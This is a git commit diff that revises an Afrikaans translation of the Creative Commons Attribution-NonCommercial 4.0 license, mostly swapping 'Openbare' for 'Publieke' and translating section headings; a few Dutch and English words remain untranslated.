Translated ['src/LICENSE.md', 'src/README.md', 'src/android-forensics.md

This commit is contained in:
Translator 2025-01-03 12:22:51 +00:00
parent f6d9579e9d
commit f1bcd06205
290 changed files with 13385 additions and 16837 deletions

View File

@ -13,75 +13,75 @@ Formatting: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/ma
Creative Commons Corporation (“Creative Commons”) is nie 'n prokureursfirma nie en bied nie regsdienste of regsadvies aan nie. Verspreiding van Creative Commons openbare lisensies skep nie 'n prokureur-klient of ander verhouding nie. Creative Commons maak sy lisensies en verwante inligting beskikbaar op 'n “soos dit is” basis. Creative Commons gee geen waarborge rakende sy lisensies, enige materiaal wat onder hul terme en voorwaardes gelisensieer is, of enige verwante inligting nie. Creative Commons ontken alle aanspreeklikheid vir skade wat voortspruit uit hul gebruik tot die volle mate moontlik.
## Using Creative Commons Public Licenses
## Gebruik van Creative Commons Publieke Lisensies
Creative Commons openbare lisensies bied 'n standaard stel terme en voorwaardes wat skeppers en ander regtehouers kan gebruik om oorspronklike werke van outeurskap en ander materiaal wat onder kopiereg en sekere ander regte wat in die openbare lisensie hieronder gespesifiseer is, te deel. Die volgende oorwegings is slegs vir inligtingsdoeleindes, is nie uitputtend nie, en vorm nie deel van ons lisensies nie.
Creative Commons publieke lisensies bied 'n standaard stel van terme en voorwaardes wat skeppers en ander regshouers kan gebruik om oorspronklike werke van outeurskap en ander materiaal wat onder kopiereg en sekere ander regte wat in die openbare lisensie hieronder gespesifiseer is, te deel. Die volgende oorwegings is slegs vir inligtingsdoeleindes, is nie uitputtend nie, en vorm nie deel van ons lisensies nie.
- **Oorwegings vir lisensiegewers:** Ons openbare lisensies is bedoel vir gebruik deur diegene wat gemagtig is om die publiek toestemming te gee om materiaal op maniere te gebruik wat andersins deur kopiereg en sekere ander regte beperk word. Ons lisensies is onherroepelik. Lisensiegewers moet die terme en voorwaardes van die lisensie wat hulle kies, lees en verstaan voordat hulle dit toepas. Lisensiegewers moet ook al die regte wat nodig is, verseker voordat hulle ons lisensies toepas sodat die publiek die materiaal kan hergebruik soos verwag. Lisensiegewers moet enige materiaal wat nie onder die lisensie val, duidelik merk. Dit sluit ander CC-gelisensieerde materiaal in, of materiaal wat onder 'n uitsondering of beperking van kopiereg gebruik word. [More considerations for licensors](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
- **Oorwegings vir lisensiegewers:** Ons publieke lisensies is bedoel vir gebruik deur diegene wat gemagtig is om die publiek toestemming te gee om materiaal op maniere te gebruik wat andersins deur kopiereg en sekere ander regte beperk word. Ons lisensies is onherroepelik. Lisensiegewers moet die terme en voorwaardes van die lisensie wat hulle kies, lees en verstaan voordat hulle dit toepas. Lisensiegewers moet ook al die regte wat nodig is, verseker voordat hulle ons lisensies toepas sodat die publiek die materiaal kan hergebruik soos verwag. Lisensiegewers moet enige materiaal wat nie onder die lisensie val, duidelik merk. Dit sluit ander CC-gelisensieerde materiaal in, of materiaal wat onder 'n uitsondering of beperking van kopiereg gebruik word. [Meer oorwegings vir lisensiegewers](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
- **Oorwegings vir die publiek:** Deur een van ons openbare lisensies te gebruik, gee 'n lisensiegever die publiek toestemming om die gelisensieerde materiaal onder gespesifiseerde terme en voorwaardes te gebruik. As die lisensiegever se toestemming om enige rede nie nodig is nie byvoorbeeld, as gevolg van enige toepaslike uitsondering of beperking van kopiereg dan word daardie gebruik nie deur die lisensie gereguleer nie. Ons lisensies verleen slegs toestemming onder kopiereg en sekere ander regte wat 'n lisensiegever die gesag het om te verleen. Gebruik van die gelisensieerde materiaal kan steeds vir ander redes beperk wees, insluitend omdat ander kopiereg of ander regte in die materiaal het. 'n Lisensiegever kan spesiale versoeke maak, soos om te vra dat alle veranderinge gemerk of beskryf word. Alhoewel nie vereis deur ons lisensies nie, word jy aangemoedig om daardie versoeke te respekteer waar dit redelik is. [More considerations for the public](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
- **Oorwegings vir die publiek:** Deur een van ons publieke lisensies te gebruik, gee 'n lisensiegever die publiek toestemming om die gelisensieerde materiaal onder gespesifiseerde terme en voorwaardes te gebruik. As die lisensiegever se toestemming om enige rede nie nodig is nie byvoorbeeld, as gevolg van enige toepaslike uitsondering of beperking van kopiereg dan word daardie gebruik nie deur die lisensie gereguleer nie. Ons lisensies gee slegs toestemming onder kopiereg en sekere ander regte wat 'n lisensiegever die gesag het om te verleen. Gebruik van die gelisensieerde materiaal kan steeds vir ander redes beperk wees, insluitend omdat ander kopiereg of ander regte in die materiaal het. 'n Lisensiegever kan spesiale versoeke maak, soos om te vra dat alle veranderinge gemerk of beskryf word. Alhoewel nie vereis deur ons lisensies nie, word jy aangemoedig om daardie versoeke te respekteer waar dit redelik is. [Meer oorwegings vir die publiek](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
# Creative Commons Attribution-NonCommercial 4.0 International Public License
# Creative Commons Attribution-NonCommercial 4.0 International Publieke Lisensie
Deur die Gelisensieerde Regte (hieronder gedefinieer) uit te oefen, aanvaar en stem jy in om gebonde te wees aan die terme en voorwaardes van hierdie Creative Commons Attribution-NonCommercial 4.0 International Public License ("Openbare Lisensie"). Voor zover hierdie Openbare Lisensie as 'n kontrak geïnterpreteer kan word, word jy die Gelisensieerde Regte toegestaan in ruil vir jou aanvaarding van hierdie terme en voorwaardes, en die Lisensiegever verleen jou sodanige regte in ruil vir die voordele wat die Lisensiegever ontvang deur die Gelisensieerde Materiaal beskikbaar te stel onder hierdie terme en voorwaardes.
Deur die Gelisensieerde Regte (hieronder gedefinieer) uit te oefen, aanvaar en stem jy in om gebonde te wees aan die terme en voorwaardes van hierdie Creative Commons Attribution-NonCommercial 4.0 International Publieke Lisensie ("Publieke Lisensie"). Voor zover hierdie Publieke Lisensie as 'n kontrak geïnterpreteer kan word, word jy die Gelisensieerde Regte toegestaan in ruil vir jou aanvaarding van hierdie terme en voorwaardes, en die Lisensiegever verleen jou sodanige regte in ruil vir die voordele wat die Lisensiegever ontvang deur die Gelisensieerde Materiaal beskikbaar te stel onder hierdie terme en voorwaardes.
## Section 1 Definitions.
## Afdeling 1 Definisies.
a. **Aangepaste Materiaal** beteken materiaal wat onder Kopiereg en Soortgelyke Regte val wat afgelei is van of gebaseer is op die Gelisensieerde Materiaal en waarin die Gelisensieerde Materiaal vertaal, verander, gereël, getransformeer, of andersins gewysig is op 'n manier wat toestemming vereis onder die Kopiereg en Soortgelyke Regte wat deur die Lisensiegever gehou word. Vir doeleindes van hierdie Openbare Lisensie, waar die Gelisensieerde Materiaal 'n musikale werk, uitvoering, of klankopname is, word Aangepaste Materiaal altyd geproduseer waar die Gelisensieerde Materiaal gesinchroniseer is in tydsverhouding met 'n bewegende beeld.
a. **Aangepaste Materiaal** beteken materiaal wat onder Kopiereg en Soortgelyke Regte val wat afgelei is van of gebaseer is op die Gelisensieerde Materiaal en waarin die Gelisensieerde Materiaal vertaal, verander, gereël, getransformeer, of andersins gewysig is op 'n manier wat toestemming vereis onder die Kopiereg en Soortgelyke Regte wat deur die Lisensiegever gehou word. Vir doeleindes van hierdie Publieke Lisensie, waar die Gelisensieerde Materiaal 'n musikale werk, uitvoering, of klankopname is, word Aangepaste Materiaal altyd geproduseer waar die Gelisensieerde Materiaal gesinkroniseer is in tydsverhouding met 'n bewegende beeld.
b. **Adapter se Lisensie** beteken die lisensie wat jy op jou Kopiereg en Soortgelyke Regte in jou bydraes tot Aangepaste Materiaal toepas in ooreenstemming met die terme en voorwaardes van hierdie Openbare Lisensie.
b. **Adapter se Lisensie** beteken die lisensie wat jy toepas op jou Kopiereg en Soortgelyke Regte in jou bydraes tot Aangepaste Materiaal in ooreenstemming met die terme en voorwaardes van hierdie Publieke Lisensie.
c. **Kopiereg en Soortgelyke Regte** beteken kopiereg en/of soortgelyke regte wat nou verwant is aan kopiereg insluitend, sonder beperking, uitvoering, uitsending, klankopname, en Sui Generis Databasisregte, ongeag hoe die regte geëtiketteer of gekategoriseer word. Vir doeleindes van hierdie Openbare Lisensie, is die regte gespesifiseer in Afdeling 2(b)(1)-(2) nie Kopiereg en Soortgelyke Regte nie.
c. **Kopiereg en Soortgelyke Regte** beteken kopiereg en/of soortgelyke regte wat nou verwant is aan kopiereg insluitend, sonder beperking, uitvoering, uitsending, klankopname, en Sui Generis Databasisregte, ongeag hoe die regte geëtiketteer of gekategoriseer word. Vir doeleindes van hierdie Publieke Lisensie, is die regte gespesifiseer in Afdeling 2(b)(1)-(2) nie Kopiereg en Soortgelyke Regte nie.
d. **Doeltreffende Tegnologiese Maatreëls** beteken daardie maatreëls wat, in die afwesigheid van behoorlike gesag, nie omseil kan word onder wette wat verpligtinge onder Artikel 11 van die WIPO Kopiereg Verdrag wat op 20 Desember 1996 aangeneem is, en/of soortgelyke internasionale ooreenkomste nakom nie.
d. **Effektiewe Tegnologiese Maatreëls** beteken daardie maatreëls wat, in die afwesigheid van behoorlike gesag, nie omseil kan word onder wette wat verpligtinge onder Artikel 11 van die WIPO Kopiereg Verdrag wat op 20 Desember 1996 aangeneem is, en/of soortgelyke internasionale ooreenkomste nakom nie.
e. **Uitsonderings en Beperkings** beteken billike gebruik, billike hantering, en/of enige ander uitsondering of beperking op Kopiereg en Soortgelyke Regte wat van toepassing is op jou gebruik van die Gelisensieerde Materiaal.
f. **Gelisensieerde Materiaal** beteken die artistieke of literêre werk, databasis, of ander materiaal waaraan die Lisensiegever hierdie Openbare Lisensie toegepas het.
f. **Gelisensieerde Materiaal** beteken die artistieke of literêre werk, databasis, of ander materiaal waaraan die Lisensiegever hierdie Publieke Lisensie toegepas het.
g. **Gelisensieerde Regte** beteken die regte wat aan jou verleen word onderhewig aan die terme en voorwaardes van hierdie Openbare Lisensie, wat beperk is tot alle Kopiereg en Soortgelyke Regte wat van toepassing is op jou gebruik van die Gelisensieerde Materiaal en wat die Lisensiegever die gesag het om te lisensieer.
g. **Gelisensieerde Regte** beteken die regte wat aan jou toegestaan word onderhewig aan die terme en voorwaardes van hierdie Publieke Lisensie, wat beperk is tot alle Kopiereg en Soortgelyke Regte wat van toepassing is op jou gebruik van die Gelisensieerde Materiaal en wat die Lisensiegever die gesag het om te lisensieer.
h. **Lisensiegever** beteken die individu(e) of entiteit(e) wat regte onder hierdie Openbare Lisensie verleen.
h. **Lisensiegever** beteken die individu(e) of entiteit(e) wat regte onder hierdie Publieke Lisensie verleen.
i. **Nie-kommersieel** beteken nie hoofsaaklik bedoel vir of gerig op kommersiële voordeel of monetêre vergoeding nie. Vir doeleindes van hierdie Openbare Lisensie, is die uitruil van die Gelisensieerde Materiaal vir ander materiaal wat onder Kopiereg en Soortgelyke Regte val deur digitale lêerdeling of soortgelyke middele Nie-kommersieel mits daar geen betaling van monetêre vergoeding in verband met die uitruil is nie.
i. **Nie-kommersieel** beteken nie hoofsaaklik bedoel vir of gerig op kommersiële voordeel of monetêre vergoeding nie. Vir doeleindes van hierdie Publieke Lisensie, is die uitruil van die Gelisensieerde Materiaal vir ander materiaal wat onder Kopiereg en Soortgelyke Regte val deur digitale lêerdeling of soortgelyke middele Nie-kommersieel mits daar geen betaling van monetêre vergoeding in verband met die uitruil is nie.
j. **Deel** beteken om materiaal aan die publiek te verskaf deur enige middele of proses wat toestemming onder die Gelisensieerde Regte vereis, soos reproduksie, openbare vertoning, openbare uitvoering, verspreiding, disseminasie, kommunikasie, of invoer, en om materiaal beskikbaar te stel aan die publiek insluitend op maniere wat lede van die publiek die materiaal kan toegang vanaf 'n plek en op 'n tyd wat individueel deur hulle gekies is.
k. **Sui Generis Databasisregte** beteken regte anders as kopiereg wat voortspruit uit Richtlijn 96/9/EG van die Europese Parlement en die Raad van 11 Maart 1996 oor die reglike beskerming van databasis, soos gewysig en/of opgevolg, sowel as ander essensieel ekwivalente regte enige plek in die wêreld.
l. **Jy** beteken die individu of entiteit wat die Gelisensieerde Regte onder hierdie Openbare Lisensie uitoefen. Jou het 'n ooreenstemmende betekenis.
l. **Jy** beteken die individu of entiteit wat die Gelisensieerde Regte onder hierdie Publieke Lisensie uitoefen. Jou het 'n ooreenstemmende betekenis.
## Section 2 Scope.
## Afdeling 2 Bereik.
a. **_Lisensie toekenning._**
1. Onderhewig aan die terme en voorwaardes van hierdie Openbare Lisensie, verleen die Lisensiegever hiermee aan jou 'n wêreldwye, royalty-vrye, nie-sublisensieerbare, nie-eksklusiewe, onherroepelike lisensie om die Gelisensieerde Regte in die Gelisensieerde Materiaal uit te oefen om:
1. Onderhewig aan die terme en voorwaardes van hierdie Publieke Lisensie, verleen die Lisensiegever hiermee aan jou 'n wêreldwye, royalty-vrye, nie-sublisensieerbare, nie-eksklusiewe, onherroepelike lisensie om die Gelisensieerde Regte in die Gelisensieerde Materiaal uit te oefen om:
A. die Gelisensieerde Materiaal, in geheel of gedeeltelik, vir Nie-kommersiële doeleindes te reproduseer en te Deel; en
B. Aangepaste Materiaal vir Nie-kommersiële doeleindes te produseer, reproduseer, en te Deel.
2. **Uitsonderings en Beperkings.** Ter voorkoming van twyfel, waar Uitsonderings en Beperkings van toepassing is op jou gebruik, is hierdie Openbare Lisensie nie van toepassing nie, en jy hoef nie aan die terme en voorwaardes daarvan te voldoen nie.
3. **Termyn.** Die termyn van hierdie Openbare Lisensie is gespesifiseer in Afdeling 6(a).
2. **Uitsonderings en Beperkings.** Ter voorkoming van twyfel, waar Uitsonderings en Beperkings van toepassing is op jou gebruik, is hierdie Publieke Lisensie nie van toepassing nie, en jy hoef nie aan die terme en voorwaardes daarvan te voldoen nie.
3. **Termyn.** Die termyn van hierdie Publieke Lisensie is gespesifiseer in Afdeling 6(a).
4. **Media en formate; tegniese wysigings toegelaat.** Die Lisensiegever mag jou toelaat om die Gelisensieerde Regte in alle media en formate uit te oefen, hetsy nou bekend of hierna geskep, en om tegniese wysigings te maak wat nodig is om dit te doen. Die Lisensiegever waiving en/of stem nie in om enige reg of gesag te beweer om jou te verbied om tegniese wysigings te maak wat nodig is om die Gelisensieerde Regte uit te oefen nie, insluitend tegniese wysigings wat nodig is om Doeltreffende Tegnologiese Maatreëls te omseil. Vir doeleindes van hierdie Openbare Lisensie, sal die eenvoudige maak van wysigings wat deur hierdie Afdeling 2(a)(4) gemagtig word, nooit Aangepaste Materiaal produseer nie.
4. **Media en formate; tegniese wysigings toegelaat.** Die Lisensiegever mag jou toelaat om die Gelisensieerde Regte in alle media en formate uit te oefen, hetsy nou bekend of hierna geskep, en om tegniese wysigings te maak wat nodig is om dit te doen. Die Lisensiegever waiving en/of stem nie in om enige reg of gesag te beweer om jou te verbied om tegniese wysigings te maak wat nodig is om die Gelisensieerde Regte uit te oefen nie, insluitend tegniese wysigings wat nodig is om Effektiewe Tegnologiese Maatreëls te omseil. Vir doeleindes van hierdie Publieke Lisensie, sal die eenvoudige maak van wysigings wat deur hierdie Afdeling 2(a)(4) gemagtig is, nooit Aangepaste Materiaal produseer nie.
5. **Afwaartse ontvangers.**
A. **Aanbod van die Lisensiegever Gelisensieerde Materiaal.** Elke ontvanger van die Gelisensieerde Materiaal ontvang outomaties 'n aanbod van die Lisensiegever om die Gelisensieerde Regte onder die terme en voorwaardes van hierdie Openbare Lisensie uit te oefen.
A. **Aanbod van die Lisensiegever Gelisensieerde Materiaal.** Elke ontvanger van die Gelisensieerde Materiaal ontvang outomaties 'n aanbod van die Lisensiegever om die Gelisensieerde Regte onder die terme en voorwaardes van hierdie Publieke Lisensie uit te oefen.
B. **Geen afwaartse beperkings.** Jy mag nie enige addisionele of verskillende terme of voorwaardes op, of enige Doeltreffende Tegnologiese Maatreëls op die Gelisensieerde Materiaal toepas nie as dit die uitoefening van die Gelisensieerde Regte deur enige ontvanger van die Gelisensieerde Materiaal beperk.
B. **Geen afwaartse beperkings.** Jy mag nie enige addisionele of verskillende terme of voorwaardes aanbied of afdwing nie, of enige Effektiewe Tegnologiese Maatreëls op die Gelisensieerde Materiaal toepas as dit die uitoefening van die Gelisensieerde Regte deur enige ontvanger van die Gelisensieerde Materiaal beperk.
6. **Geen goedkeuring.** Niks in hierdie Openbare Lisensie vorm of kan geïnterpreteer word as toestemming om te beweer of te impliseer dat jy, of dat jou gebruik van die Gelisensieerde Materiaal, verbind is met, of gesponsord, goedgekeur, of amptelike status verleen is deur, die Lisensiegever of ander wat aangewys is om erkenning te ontvang soos voorsien in Afdeling 3(a)(1)(A)(i).
6. **Geen goedkeuring.** Niks in hierdie Publieke Lisensie vorm of kan geïnterpreteer word as toestemming om te beweer of te impliseer dat jy, of dat jou gebruik van die Gelisensieerde Materiaal, verbind is met, of gesponsord, goedgekeur, of amptelike status verleen is deur, die Lisensiegever of ander wat aangewys is om erkenning te ontvang soos voorsien in Afdeling 3(a)(1)(A)(i).
b. **_Ander regte._**
1. Morele regte, soos die reg op integriteit, is nie onder hierdie Openbare Lisensie gelisensieer nie, en ook nie publisiteit, privaatheid, en/of ander soortgelyke persoonlikheidsregte nie; egter, voor zover moontlik, waiving die Lisensiegever en/of stem nie in om enige sodanige regte wat deur die Lisensiegever gehou word te beweer nie tot die beperkte mate wat nodig is om jou toe te laat om die Gelisensieerde Regte uit te oefen, maar nie andersins nie.
1. Morele regte, soos die reg op integriteit, is nie onder hierdie Publieke Lisensie gelisensieer nie, en ook nie publisiteit, privaatheid, en/of ander soortgelyke persoonlikheidsregte nie; egter, voor zover moontlik, waiving die Lisensiegever en/of stem nie in om enige sodanige regte wat deur die Lisensiegever gehou word te beweer nie tot die beperkte mate wat nodig is om jou toe te laat om die Gelisensieerde Regte uit te oefen, maar nie andersins nie.
2. Patent- en handelsmerkregte is nie onder hierdie Openbare Lisensie gelisensieer nie.
2. Patent- en handelsmerkregte is nie onder hierdie Publieke Lisensie gelisensieer nie.
3. Voor zover moontlik, waiving die Lisensiegever enige reg om royalties van jou te versamel vir die uitoefening van die Gelisensieerde Regte, hetsy direk of deur 'n versamelingsvereniging onder enige vrywillige of afstandbare statutêre of verpligte lisensiëring skema. In alle ander gevalle behou die Lisensiegever uitdruklik enige reg om sodanige royalties te versamel, insluitend wanneer die Gelisensieerde Materiaal gebruik word anders as vir Nie-kommersiële doeleindes.
3. Voor zover moontlik, waiving die Lisensiegever enige reg om royalties van jou te versamel vir die uitoefening van die Gelisensieerde Regte, hetsy direk of deur 'n versamelingsgenootskap onder enige vrywillige of afstandbare statutêre of verpligte lisensiëringskema. In alle ander gevalle behou die Lisensiegever uitdruklik enige reg om sodanige royalties te versamel, insluitend wanneer die Gelisensieerde Materiaal gebruik word anders as vir Nie-kommersiële doeleindes.
## Section 3 License Conditions.
## Afdeling 3 Lisensie Voorwaardes.
Jou uitoefening van die Gelisensieerde Regte is uitdruklik onderhewig aan die volgende voorwaardes.
@ -91,27 +91,27 @@ a. **_Erkenning._**
A. die volgende behou as dit deur die Lisensiegever saam met die Gelisensieerde Materiaal verskaf word:
i. identifikasie van die skepper(s) van die Gelisensieerde Materiaal en enige ander wat aangewys is om erkenning te ontvang, op enige redelike manier wat deur die Lisensiegever versoek word (insluitend deur pseudoniem as aangewys);
i. identifikasie van die skepper(s) van die Gelisensieerde Materiaal en enige ander wat aangewys is om erkenning te ontvang, op enige redelike manier wat deur die Lisensiegever versoek word (insluitend deur 'n pseudoniem as dit aangewys is);
ii. 'n kopiereg kennisgewing;
iii. 'n kennisgewing wat na hierdie Openbare Lisensie verwys;
iii. 'n kennisgewing wat na hierdie Publieke Lisensie verwys;
iv. 'n kennisgewing wat na die ontkenning van waarborge verwys;
v. 'n URI of hyperlink na die Gelisensieerde Materiaal voor zover redelik prakties;
v. 'n URI of hiperskakel na die Gelisensieerde Materiaal voor zover redelik prakties;
B. aandui of jy die Gelisensieerde Materiaal gewysig het en 'n aanduiding van enige vorige wysigings behou; en
C. aandui dat die Gelisensieerde Materiaal onder hierdie Openbare Lisensie gelisensieer is, en die teks van, of die URI of hyperlink na, hierdie Openbare Lisensie insluit.
C. aandui dat die Gelisensieerde Materiaal onder hierdie Publieke Lisensie gelisensieer is, en die teks van, of die URI of hiperskakel na, hierdie Publieke Lisensie insluit.
2. Jy kan die voorwaardes in Afdeling 3(a)(1) op enige redelike manier nakom gebaseer op die medium, middele, en konteks waarin jy die Gelisensieerde Materiaal Deel. Byvoorbeeld, dit mag redelik wees om die voorwaardes na te kom deur 'n URI of hyperlink na 'n hulpbron te verskaf wat die vereiste inligting insluit.
2. Jy kan die voorwaardes in Afdeling 3(a)(1) op enige redelike manier nakom gebaseer op die medium, middele, en konteks waarin jy die Gelisensieerde Materiaal Deel. Byvoorbeeld, dit mag redelik wees om die voorwaardes na te kom deur 'n URI of hiperskakel na 'n hulpbron te verskaf wat die vereiste inligting insluit.
3. As deur die Lisensiegever versoek, moet jy enige van die inligting wat deur Afdeling 3(a)(1)(A) vereis word, verwyder voor zover redelik prakties.
4. As jy Aangepaste Materiaal Deel wat jy produseer, moet die Adapter se Lisensie wat jy toepas nie voorkom dat ontvangers van die Aangepaste Materiaal voldoen aan hierdie Openbare Lisensie nie.
4. As jy Aangepaste Materiaal Deel wat jy produseer, moet die Adapter se Lisensie wat jy toepas nie voorkom dat ontvangers van die Aangepaste Materiaal voldoen aan hierdie Publieke Lisensie nie.
## Section 4 Sui Generis Database Rights.
## Afdeling 4 Sui Generis Databasisregte.
Waar die Gelisensieerde Regte Sui Generis Databasisregte insluit wat van toepassing is op jou gebruik van die Gelisensieerde Materiaal:
@ -121,47 +121,47 @@ b. as jy al of 'n substansiële gedeelte van die databasisinhoud in 'n databasis
c. jy moet voldoen aan die voorwaardes in Afdeling 3(a) as jy al of 'n substansiële gedeelte van die inhoud van die databasis Deel.
Ter voorkoming van twyfel, hierdie Afdeling 4 aanvul en vervang nie jou verpligtinge onder hierdie Openbare Lisensie waar die Gelisensieerde Regte ander Kopiereg en Soortgelyke Regte insluit nie.
Ter voorkoming van twyfel, hierdie Afdeling 4 aanvul en vervang nie jou verpligtinge onder hierdie Publieke Lisensie waar die Gelisensieerde Regte ander Kopiereg en Soortgelyke Regte insluit nie.
## Section 5 Disclaimer of Warranties and Limitation of Liability.
## Afdeling 5 Ontkenning van Waarborge en Beperking van Aanspreeklikheid.
a. **Tenzij andersins apart onderneem deur die Lisensiegever, voor zover moontlik, bied die Lisensiegever die Gelisensieerde Materiaal soos dit is en soos beskikbaar, en maak geen verteenwoordigings of waarborge van enige aard rakende die Gelisensieerde Materiaal nie, hetsy uitdruklik, implisiet, statutêr, of andersins. Dit sluit, sonder beperking, waarborge van titel, handelsbaarheid, geskiktheid vir 'n spesifieke doel, nie-inbreuk, afwesigheid van latente of ander gebreke, akkuraatheid, of die teenwoordigheid of afwesigheid van foute in, of nie, bekend of ontdekbaar nie. Waar ontkennings van waarborge nie in geheel of gedeeltelik toegelaat word nie, mag hierdie ontkenning nie op jou van toepassing wees nie.**
a. **Tenzij andersins apart onderneem deur die Lisensiegever, voor zover moontlik, bied die Lisensiegever die Gelisensieerde Materiaal soos dit is en soos beskikbaar, en maak geen verteenwoordigings of waarborge van enige aard rakende die Gelisensieerde Materiaal nie, hetsy uitdruklik, implisiet, statutêr, of andersins. Dit sluit, sonder beperking, waarborge van titel, handelsbaarheid, geskiktheid vir 'n spesifieke doel, nie-inbreuk, afwesigheid van latente of ander gebreke, akkuraatheid, of die teenwoordigheid of afwesigheid van foute in, hetsy bekend of ontdekbaar. Waar ontkennings van waarborge nie in geheel of gedeeltelik toegelaat word nie, mag hierdie ontkenning nie op jou van toepassing wees nie.**
b. **Voor zover moontlik, in geen geval sal die Lisensiegever aanspreeklik wees teenoor jou op enige regstheorie (insluitend, sonder beperking, nalatigheid) of andersins vir enige direkte, spesiale, indirekte, insidentele, gevolglike, straf-, voorbeeldige, of ander verliese, koste, uitgawes, of skade wat voortspruit uit hierdie Openbare Lisensie of gebruik van die Gelisensieerde Materiaal, selfs al is die Lisensiegever in kennis gestel van die moontlikheid van sodanige verliese, koste, uitgawes, of skade. Waar 'n beperking van aanspreeklikheid nie in geheel of gedeeltelik toegelaat word nie, mag hierdie beperking nie op jou van toepassing wees nie.**
b. **Voor zover moontlik, in geen geval sal die Lisensiegever aanspreeklik wees teenoor jou op enige regstheorie (insluitend, sonder beperking, nalatigheid) of andersins vir enige direkte, spesiale, indirekte, insidentele, gevolglike, straf-, voorbeeldige, of ander verliese, koste, uitgawes, of skade wat voortspruit uit hierdie Publieke Lisensie of gebruik van die Gelisensieerde Materiaal, selfs al is die Lisensiegever in kennis gestel van die moontlikheid van sodanige verliese, koste, uitgawes, of skade. Waar 'n beperking van aanspreeklikheid nie in geheel of gedeeltelik toegelaat word nie, mag hierdie beperking nie op jou van toepassing wees nie.**
c. Die ontkenning van waarborge en beperking van aanspreeklikheid hierbo verskaf, sal geïnterpreteer word op 'n manier wat, voor zover moontlik, die naaste benadering tot 'n absolute ontkenning en afstanddoening van alle aanspreeklikheid is.
c. Die ontkenning van waarborge en beperking van aanspreeklikheid hierbo verskaf sal geïnterpreteer word op 'n manier wat, voor zover moontlik, die naaste benadering tot 'n absolute ontkenning en afstanddoening van alle aanspreeklikheid is.
## Section 6 Term and Termination.
## Afdeling 6 Termyn en Beëindiging.
a. Hierdie Openbare Lisensie is van toepassing vir die termyn van die Kopiereg en Soortgelyke Regte wat hier gelisensieer is. As jy egter nie aan hierdie Openbare Lisensie voldoen nie, dan verval jou regte onder hierdie Openbare Lisensie outomaties.
a. Hierdie Publieke Lisensie is van toepassing vir die termyn van die Kopiereg en Soortgelyke Regte wat hier gelisensieer is. As jy egter nie aan hierdie Publieke Lisensie voldoen nie, dan verval jou regte onder hierdie Publieke Lisensie outomaties.
b. Waar jou reg om die Gelisensieerde Materiaal te gebruik onder Afdeling 6(a) verval het, herstel dit:
b. Waar jou reg om die Gelisensieerde Materiaal te gebruik onder Afdeling 6(a) beëindig is, word dit heringestel:
1. outomaties vanaf die datum waarop die oortreding reggestel word, mits dit reggestel word binne 30 dae van jou ontdekking van die oortreding; of
2. upon express reinstatement by the Licensor.
2. upon uitdruklike herinstelling deur die Lisensiegever.
Ter voorkoming van twyfel, hierdie Afdeling 6(b) beïnvloed nie enige reg wat die Lisensiegever mag hê om remedies te soek vir jou oortredings van hierdie Openbare Lisensie nie.
Ter voorkoming van twyfel, hierdie Afdeling 6(b) beïnvloed nie enige reg wat die Lisensiegever mag hê om remedies te soek vir jou oortredings van hierdie Publieke Lisensie nie.
c. Ter voorkoming van twyfel, die Lisensiegever mag ook die Gelisensieerde Materiaal onder aparte terme of voorwaardes aanbied of die verspreiding van die Gelisensieerde Materiaal te eniger tyd stop; egter, om dit te doen sal nie hierdie Openbare Lisensie beëindig nie.
c. Ter voorkoming van twyfel, die Lisensiegever mag ook die Gelisensieerde Materiaal onder aparte terme of voorwaardes aanbied of die verspreiding van die Gelisensieerde Materiaal te eniger tyd stop; egter, om dit te doen sal nie hierdie Publieke Lisensie beëindig nie.
d. Afdelings 1, 5, 6, 7, en 8 oorleef die beëindiging van hierdie Openbare Lisensie.
d. Afdelings 1, 5, 6, 7, en 8 oorleef die beëindiging van hierdie Publieke Lisensie.
## Section 7 Other Terms and Conditions.
## Afdeling 7 Ander Terme en Voorwaardes.
a. Die Lisensiegever sal nie gebonde wees deur enige addisionele of verskillende terme of voorwaardes wat deur jou gekommunikeer word nie, tensy uitdruklik ooreengekom.
a. Die Lisensiegever sal nie gebonde wees aan enige addisionele of verskillende terme of voorwaardes wat deur jou gekommunikeer word nie, tensy uitdruklik ooreengekom.
b. Enige reëlings, verstaanings, of ooreenkomste rakende die Gelisensieerde Materiaal wat hier nie vermeld word nie, is apart van en onafhanklik van die terme en voorwaardes van hierdie Openbare Lisensie.
b. Enige reëlings, verstaan, of ooreenkomste rakende die Gelisensieerde Materiaal wat hier nie vermeld word nie, is apart van en onafhanklik van die terme en voorwaardes van hierdie Publieke Lisensie.
## Section 8 Interpretation.
## Afdeling 8 Interpretasie.
a. Ter voorkoming van twyfel, hierdie Openbare Lisensie verminder nie, beperk nie, beperk nie, of stel nie voorwaardes op enige gebruik van die Gelisensieerde Materiaal wat wettiglik gemaak kan word sonder toestemming onder hierdie Openbare Lisensie nie.
a. Ter voorkoming van twyfel, hierdie Publieke Lisensie verminder nie, beperk nie, of stel nie voorwaardes op enige gebruik van die Gelisensieerde Materiaal wat wettiglik gemaak kan word sonder toestemming onder hierdie Publieke Lisensie nie.
b. Voor zover moontlik, as enige bepaling van hierdie Openbare Lisensie as onuitvoerbaar beskou word, sal dit outomaties herskryf word tot die minimum mate wat nodig is om dit uitvoerbaar te maak. As die bepaling nie herskryf kan word nie, sal dit geskeurde word van hierdie Openbare Lisensie sonder om die uitvoerbaarheid van die oorblywende terme en voorwaardes te beïnvloed.
b. Voor zover moontlik, as enige bepaling van hierdie Publieke Lisensie as onuitvoerbaar beskou word, sal dit outomaties hervorm word tot die minimum mate wat nodig is om dit uitvoerbaar te maak. As die bepaling nie hervorm kan word nie, sal dit geskeurde word van hierdie Publieke Lisensie sonder om die uitvoerbaarheid van die oorblywende terme en voorwaardes te beïnvloed.
c. Geen term of voorwaarde van hierdie Openbare Lisensie sal afstand gedoen word nie en geen versuim om te voldoen sal goedgekeur word nie tensy uitdruklik ooreengekom deur die Lisensiegever.
c. Geen term of voorwaarde van hierdie Publieke Lisensie sal afstand gedoen word nie en geen versuim om te voldoen sal goedgekeur word tensy uitdruklik ooreengekom deur die Lisensiegever.
d. Niks in hierdie Openbare Lisensie vorm of kan geïnterpreteer word as 'n beperking op, of afstanddoening van, enige voorregte en immuniteite wat van toepassing is op die Lisensiegever of jou, insluitend van die regsprosesse van enige jurisdiksie of gesag.
